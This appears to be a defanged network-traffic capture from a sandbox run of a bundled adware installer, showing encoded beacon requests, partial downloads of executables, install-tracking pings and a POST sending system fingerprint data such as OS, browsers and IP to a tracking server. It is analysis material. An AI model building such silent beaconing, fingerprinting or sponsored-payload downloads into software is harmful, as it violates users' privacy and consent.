User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:27 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 617tzKh3tjoznBjmohyxtbRfGxAQWjbc9qbnbDoI9sM5aV5a0F5XTA==
....


GET /p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p/b8zyMlAjNJ0/b5c3a7vXyFAL52sIXt4X6eOY8tMUElMdnRIEmstqm/kJEdxV49SPoRBvyLKjekeZpA1/oMhqqeAC 5wFKqfvTZXJoH7sCSNaltwz/viKWIiAdBYbIeY9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Up1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9DaYoBWJ7FPB HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:27 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 7ghHxpTMoOLROHGYbtiEFw96JMxwaBVV1oBJfXuRGmObxYV-G57WhA==
....


GET /p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p p3jNnuGZ/QCM8BjoE4r5ojgb6v7cXpPtX8qMQRZgpmz/9fsKQO4 yu6aPorR5b/Qlc4m6AJLdytjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29px WWFOeQ837X9MyErNc5XDh4LsUpfwiOPvVpyWxN0xe68ZYLQxfaY0VLg8uECL0c= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UaAT1p0kPF-T-EaIobxwMi2uvJdnTmKprObeCt5Jn8TjLv9TbKsBzw==
....


GET /p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p/ZGSjSNMjhLtXDXZHqh b9jyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L8Da67vNBCQrfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLGPTgpcaNhCc8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFpa4U6LaqLYoc= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p9DL5O8sflI1 03aTMX7laps IILilpWF3u3FmdwwefTpJwm7wLvIGql7 MWoTgv1cPg3JQuiDoocCy UGDO9OHqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AJK03cJewfXPdara8oc4czXxcm/EVczU76JGdHca8wyoaodS jMTxCtzRPFPbxUTw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:28 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 5P-LNK8TDRumZCiPTMkNEyb2oCo6_V1uGu4mA2fF-0h-DMnahFplEQ==
....


GET /p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p/nIXzQtxKJSmstAtp4Waa7FAL52sIXt4UGdUiveYDXawWwrv9hreqncfgJCYrAwfhP0D8OhuX2cA2F/4MfqUsFPnhu6I2MJcgcuf22/PyzT 0p4qSuvYU33CjlXcBqBuW5mDEtpc41rAWwrv9hreqncfgJCYrAwfjisLZ4k0PjQlY82z56oFxUZZpUYgBBNCMzmjaEVG/KMWXWi1z wvIak3TjWx/pH088TlE/Us4t1jVvn1Eai8YdLsaRyXgar/GFTvEhYXEDA5KUi/e3eip5EkCZa7jYIXUaVgeh2pzpkcckL4tVIkpXqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AJK03cJewfXPdara8oc4czXxcm/EVczU76JGdHca8wyoaodS jMTxCtzRPFPbxUTw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=b1dRW7RxYKfwl4DCqEaRhG0S4xn0VLeA7OXLse4BafSoipMojeRGOY2 5cMBkwSYPaM0kMp6 2891qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEHzF4heDka0HKPuMdH9xkPFYS5k6/5B5fB6p/YFdNKecX4l9XCm/Va/LS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqUHUSCCw4FeFDxvb2glxipT JI6c9UXP/KmHEf4ogeJaxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9zaX6Frrq29SCnHdd5HUOns4EacvjQzW0IqsJA2m o88 DlmBvMp1cw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=KC46TpkJIZzvtemz1TdLVoO3OQzd2SAF7OXLse4BafSoipMojeRGOY2 5cMBkwSYPaM0kMp6 2891qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEHzF4heDka0HKPuMdH9xkPFYS5k6/5B5fB6p/YFdNKecJ1a2JXaOA92w6kHnR XV4QBZGQjpShx/0JQd5HxgIXcyW34jq/xhC7ScuUPn9CK zck6aN5bBiQRdekM5CBZGxH59cmKdZXuemhbyj Dp3mDnvuZM8OFmDbOD 4Je6KVjS
HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:34 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 0CNdhVfGwg4Xc3aMonwE9GWf7n88gKWbsSnjvIzF3nlgKyHXbfN9nw==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:34 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 da44a033908207250002410c047e87
64.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 0CNdhVfGwg4Xc3aMonwE9GWf7
n88gKWbsSnjvIzF3nlgKyHXbfN9nw==..



GET /sd?is=sm HTTP/1.1
Range: bytes=510272-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 13 Feb 2015 05:32:04 GMT
Date: Thu, 12 Feb 2015 05:32:04 GMT
Content-Range: bytes 510272-583167/583168
Content-Length: 72896
Connection: keep-alive
..`..WB.s5....'.fb.....W.W..m..Z.....n7...#...^..<r..(`.t!>..tl.
....r.f.y6V.&........2;..%V.A......6v....N.;.I.:[email protected]}>..
;.....n.pmE......9.A......V_....a.Y6.G...o.>Lv..)...B!......K....o&
.MW.&........V.5..XF.d....C.F.......x,3....../3.;....i)....^F..X....&l
t;5.....,.s)......qW......j...&p.p...A>..5.z#..v.... .......1.&.c\.
s.V..q..F.....g-..9..K......v..{u...~[.R.......=.\....@t>..~`V5..$.
Y..R`.... ........O.'..W,.^|e?.%(..s`.s./>..g.P.A>..pDg4(*......
./..B.'l..........9^..X...(.b.S{.>=O.M.rR..........J.D.B....Y....5P
..t.....i;..0.y.P......OO?..9...O....()o.F...........0....6_....t}..W.
_..,L!u..>~#..mf.._!]...<.j(.$.{~....X.R...Y^FY8...=#...'$S.e6..
..Fibx..~...Y.Q...b.2.....V7lvX.<,8A..;...&.....([email protected]
.J$z.p.....\..1...i.....Fn.....Ja^I.m:N..d....D*L)cw]..C.0.n.:.. ..re.
55.........J%...o.HT..a.*.j..~.H.).\...F~...S.MA.>*.....9...07.\^.`
...^.l..7...... .?..}D......;...&]...uj?.i..f...1.#..X...9Q...M.c.h.y.
Ie.8....>.Vg.B~..~......$.....x.. Lc....D!B..E...[.L{/Q>........
.....y"E.....J.z....O....@zyq.`..v...q)..e.n"..~....,..'.u..F...*.Y.O)
.|.[...eI9vb..o....x#Z..3.>....9.mb.8....mv`..j."y.......v....H..n.
.K.r.....g.0...!.g...d_.,.......C`VL..@k[.S..=.v...~O.JP...yd;........
b&.2.....o..A..a~..x..V{.;\.....88K..`j.9.u..J......l.;.7...M... Ug..c
......z.-..>..j.m..m8.(lN..|6....fH.j.......'lst...-.0pv...8SS.Ug..
y.S....e8.`FH..\BC....a.....A..07...n...z..0uE...P...g..o..8&jJS....V|
.J.A4..u.....g...[....e..qZ.~Z..h.&p ../[email protected]...
<<< skipped >>>


GET / HTTP/1.1
Host: VVV.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=IzvcVPWlBJCu8we-koLgAg
Content-Length: 262
Date: Thu, 12 Feb 2015 05:33:23 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=IzvcVPWlBJCu
8we-koLgAg">here</A>...</BODY></HTML>..HTTP/1.1 3
02 Found..Cache-Control: private..Content-Type: text/html; charset=UTF
-8..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=IzvcVPWlBJCu8we-k
oLgAg..Content-Length: 262..Date: Thu, 12 Feb 2015 05:33:23 GMT..Serve
r: GFE/2.0..Alternate-Protocol: 80:quic,p=0.02..<HTML><HEAD&g
t;<meta http-equiv="content-type" content="text/html;charset=utf-8"
>.<TITLE>302 Moved</TITLE></HEAD><BODY>.<
;H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://
VVV.google.com.ua/?gfe_rd=cr&ei=IzvcVPWlBJCu8we-koLgAg">here<
;/A>...</BODY></HTML>....



GET /images/Tokyo/tokyoThreeWavesBG.jpg HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d4ekdi381yoqv.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Length: 15368
Connection: keep-alive
Server: nginx
Date: Tue, 10 Feb 2015 20:55:26 GMT
Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT
ETag: "54da1999-3c08"
Expires: Tue, 10 Feb 2015 21:05:26 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
X-Cache: RefreshHit from cloudfront
Via: 1.1 1617f8bb348c173b7002e26d4d35f91a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: mCOilIfBEsoHNIVTKy6b5kgHPrwPKaOv67nbdbFwGm2Pni7Tno4KUg==
......Exif..II*.................Ducky.......2.....mhXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:20C8E87541DAE111B
4BB9504935C1EDB" xmpMM:DocumentID="xmp.did:9221A174EAAF11E18FF38F26F77
384E1" xmpMM:InstanceID="xmp.iid:9221A173EAAF11E18FF38F26F77384E1" xmp
:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom s
tRef:instanceID="xmp.iid:5CE23EFD5CE7E11188929FF0DC9AD62D" stRef:docum
entID="xmp.did:20C8E87541DAE111B4BB9504935C1EDB"/> </rdf:Descrip
tion> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
....Adobe.d...........................................................
#"""#''''''''''..................................................!! !!
''''''''''........D.."................................................
......................................!1.AQ.aq.."2...BRb#....r.....3c$
CSs.....Dt....4...6.......................!1.AQaq..."2...BR#...r..b.3.
..S4T..............?............................@...... ........B.....
V@.. ..U.^[email protected].'............)...........b.....
......................B.....................2.......FR0 ....%l...6
<<< skipped >>>


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&0.06503664037543533 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:35 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:33:35 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-285557/285558
Age: 182
X-Cache: Hit from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: dFzhvkLDHxQE1l8OUgyjRO2taPX8YVv6Sc6DBWL_EEVGPNqWGYXkdg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.....
<<< skipped >>>


GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=736184&mode=nolsp HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: test.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT
Accept-Ranges: bytes
ETag: "bfefaff515ebc81:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:08 GMT
Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....



GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.RegWrite HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 12 Feb 2015 05:33:34 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.33 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Thu, 12 Feb 201
5 05:33:34 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.33 ms","message":"store 1 act
ion and 0 update "}..0..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=35695-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 249863
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 35695-285557/285558
Age: 182
X-Cache: Hit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: wmMkVwCSf_N7rhemlxrLYujCxrY836LR2LVIjwRhfjokQKWxx9oBcA==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................
<<< skipped >>>


GET /easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:31:59 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
600a...............z.F.>..<.w..:qH.Z...)....m....Nz$E...$$.2Iy..
.......{.s......NO..i...U.ZN..=.6..d.."m.......?.........I....(./.e.\.
......".g......e.q.}....np.......5...Qx..Rj ....x..O.......>[d.q...
......)..........d.O.A<^._..E6......}:]~.;....4....W..a.-...l.u}./.
.I.L...t...w/....^..;]....t..ic.[...{k..<....|....LkK..`.!......0..
..T..i<.B=...../..t.h......|.....l.....yv.t....OA.....1[.,..x..r<
;..~..r..n.......I......"s.....uO..b..G..1....,..5<....E....d.N.x..
...t...4...q...tq.>...C.o.\.gC.{q......<.......b..:....4KN..8]d.
.r..a..1v..$^,.y...2....C...,..S.....".ca.?..Kt.tr.....g..i&...?-N.i2.
.c..1..Q.]f.X.tq.;..%..[.<..g....-.......2;.....i..a:....dv9].?...}
..t*.../....\p...SP....r)....N.?..........lr.......l:....2.:......1...
.ooz.#\...........V.;...8".x0......9...8..h..`....z......,.f.!....`.e.
x..../.c7..'..|pz.M....................`./w.......I......y.`x.........
.?..uw.....v.P.O../8.......6....'[email protected]<.....
;_W....wjk.E... ...._....j.<}...~....~..........~...............Z..
......{C...........|.....;_9.w.r9......r. ..n....^wk.w.......C._<.^
..X~....1[.}......"]<.{.O4!....Y...H/...Tn...gS..1.......l9.....ms.
.R...3=$..00?..2...d.. .....2..{.j1...y.......:......5...&..y...y.....
g...p.[....q,.....S.......[H.x..W.l.[A .G=.r.0.7Y*.v..{..8.....v;m]e.f
......=......(=..>.m..Xf.9..y................v....e....m...u.&..9..
.....x..l.P.<..K3o..T.l......Z...m.. r.....p.F3.ToE4.-p.x.v.qH.w.f.
.....x.\d:.W....m.R...kx1...U....J...z...$...Ei......|..y....^....
<<< skipped >>>

POST /installer/ajax HTTP/1.1


x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Content-Length: 2215
Connection: Keep-Alive
Cache-Control: no-cache

country=UA&uid_orig=55bf8432df4546428c4cd4ba3636f283&uid=55bf8432df4546428c4cd4ba3636f283&affid=easyburneres&sid=easyburneres&cli_id=&softwareName=Easy Burner (ES)&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=75425c45401d6602f0837c756dccb211&tokyo_csrf_timestamp=1423719119&unique_id=2e25aa9a90cf814cceb990b3777b8df6&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8juT
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:01 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
e73.............[.o.F.. {.....l.o7q...4........ V.J...........ov..II..
.n.$@`j....y|;3...8,b.q5.....q....8..8..O.No}.:.\.6.q.......N...M.....
I.B.."a.T..`r...r\...A.S...f'J..,.....g. $...{.q......Y......h..J5.K?.
D.....Y...9..xo..e.]......i.....0.....<.....{o..,.y...D...X&..T.,..
,.<b...D.=.V....gt*.0.ZY...u..L.1.V.Yn....f.T...o=.....*Z..YW4.V...
y...i*..z....D..b*....,JD.......X.......}.'H...`....S:`.e(D.I......].b
!.8.....g...`<TQ.....8_1...3.K....9.BK..{...K&.X=...X...y..sc...G.g
.....N.......Z........=.$I....(.sc..L.,..%.......p2..M....$.|..k..?.p.
...~_.X.`."6.....b........-d.l$....{.D.J.J!...Ao..x....k.0.....%FJ.W.B
.V..4....SI....LC.'..$..e.......yYY....w...Jh..yh..0...%...~,t..mR...^
....u..pl..p. [email protected][email protected]..:.Sn...j.n0F....>.|o........
(G..5.....z..d.V..=B.x......Ic...*..iQ.G...f4... .#.\M{..2. ...|.p3...
.....i...<.........%....N....{h..0.jBl.n.......O.P.u.H....F.<.)t
.U..DxWj..X...q...y..FT=..B`.Cd..k...HL.ELl.0.c.1....\.".."<7c..P..
1...7.X......s.)1.5<.b...p..R....."..(..._?.....O...;ysJ./.....i.y9
./.".H..f...I....n.E..f#....2..._..f.....mm{.f[.t.Y...D|...?.i.n.z..w.
........w.*..$..].......J.N..."...9M....=..En.N$.W..S.E.Od&.a....$.=..
.8'1..........~..Z..z...K3!\H(....`T..v.B.M....P.&9b6.(...{q6..M.}.kX.
